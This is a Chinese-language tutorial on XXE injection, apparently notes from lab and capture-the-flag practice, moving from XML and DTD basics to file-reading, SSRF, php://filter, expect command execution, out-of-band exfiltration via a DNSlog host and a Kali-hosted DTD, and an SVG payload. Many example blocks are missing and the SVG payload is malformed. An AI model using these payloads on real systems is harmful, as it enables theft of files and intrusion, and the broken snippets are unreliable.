XXE漏洞

前置知识:XML

XML是什么?

XML是一种标记语言,XML指可扩展标记语言(EXtensensible Markup Language),把数据结构化后传输给对方让对方在结构化的数据中进行读取

标签无意义且没有功能性,被设计为具有自我描述性:

XML与HTML的区别?

XML基本语法

  • 1.所有XML标签必须闭合

  • 2.XML必须进行正确的嵌套

  • 3.标签对大小写敏感

  • 4.XML文档必须要有根元素(所有其他元素的父元素)

    1
    2
    3
    4
    5
    <root>
    <student>
    <name>......</name>
    </student>
    </root>
  • 5.没有缩进要求,建议首行缩进

  • 6.头声明可有可无(定义XML版本和所使用的编码),建议写

    <?xml version="1.0" encoding="utf-8"?>

  • 7.实体引用:在xml中,一些字符拥有特殊的意义。

    如果把字符 “<” 放在XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。

    <message>if salary < 11000 then </message> 报错!!!

为了避免这个错误,会使用实体引用来代替 “<” 字符

<message>if salary &lt; 11000 then </message>

使用php解析xml文档

  • 1.php页面调用xml

  • 2.**使用DOMDocument读取XML文档 **

指定读取:

  • 混合读取:

DTD声明(Document Type Definition)

(文档类型定义可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构)

  • 内部的声明:(没有DTD时xml文件可以随意定义添加标签)

  • 2.外部引入DTD文件:

XML几种实体介绍

什么是实体?

实体是对数据的引用;根据实体种类的不同,XML解析器将使用实体的替代文本或者外部文档的内容来替代实体引用(使用实体可以去掉字符的含义)

实体演示:

实体可迭代使用

XXE漏洞产生主要原因是外部调用文件

参数实体:

XXE漏洞成因介绍

XXE(XML External Entity Inject)全称 XML外部实体注入

XXE漏洞演示:

利用file伪协议读取 /etc/passwd

不同程序支持的伪协议:

XXE使用外部实体读取文件:

列题:

进入题目发现是一个登录框,输入成功或者失败都会回显出用户名

此时查看源码发现是XML格式的提交

可以利用用户名会回显这点外部实体读取文件

参数实体及http伪协议XXE利用

此时对伪协议做了过滤,无法读取目标文件

1
此时可尝试命名实体,(命名实体只能在DTD文档内使用)在kali中创建 1.dtd文件(内容为:<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>),再 ip add获取kali的ip,python3 -m http.server 80 开启http服务,再远程访问该kali上的1.dtd文件,利用参数实体

利用XXE进行SSRF利用:

http://10.1.2.3为内网ip地址)

获取flag

XXE利用php伪协议读取文件

想要读取源码index.php,如果直接读取的话会被页面解析掉,导致看不到源码,所以可以使用base64编码后回显,再base64解码的方式得到源码,使用php://filter

利用expect扩展进行命令执行

expect协议 处理交互式的流

expect伪协议里提交命令(前提:PHP安装expect扩展)

注意:expect伪协议里出现以下七个字符会报错

无回显XXE带外数据

  • 1.查看漏洞:

    法一:DNSlog查看漏洞

    <!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://vzyhtmj4aswbu8q21dusvheo3f96xxlm.oastify.com">] %xxe>

​ 法二:nc查看漏洞

  • 2.带外数据

    在kali里写入一个1.dtd文件,同时监听端口(7777)

​ 让目标网站去读取kali里的1.dtd文件

Xinclude

xinclude可以包含一个XML文件,调用一个写好的XML文件

基本语法:

实列:

与php文件包含区别:

代码解释:

靶场操作:

利用SVG进行XXE漏洞利用

SVG文件介绍:

1
2
3
4
<?xml version="1.0" standalone="yes"?>          ——固定格式
<!DOCTYPE svg[<!ENTITY xxe SYSTEM "file:///etc.passwd>]> ——payload
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" ——固定格式 xmlns:xlink="http:///www.w.org/1999/xlink" version="1.1"> ——固定格式
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg> ——回显字体以及位置设置

结果显示: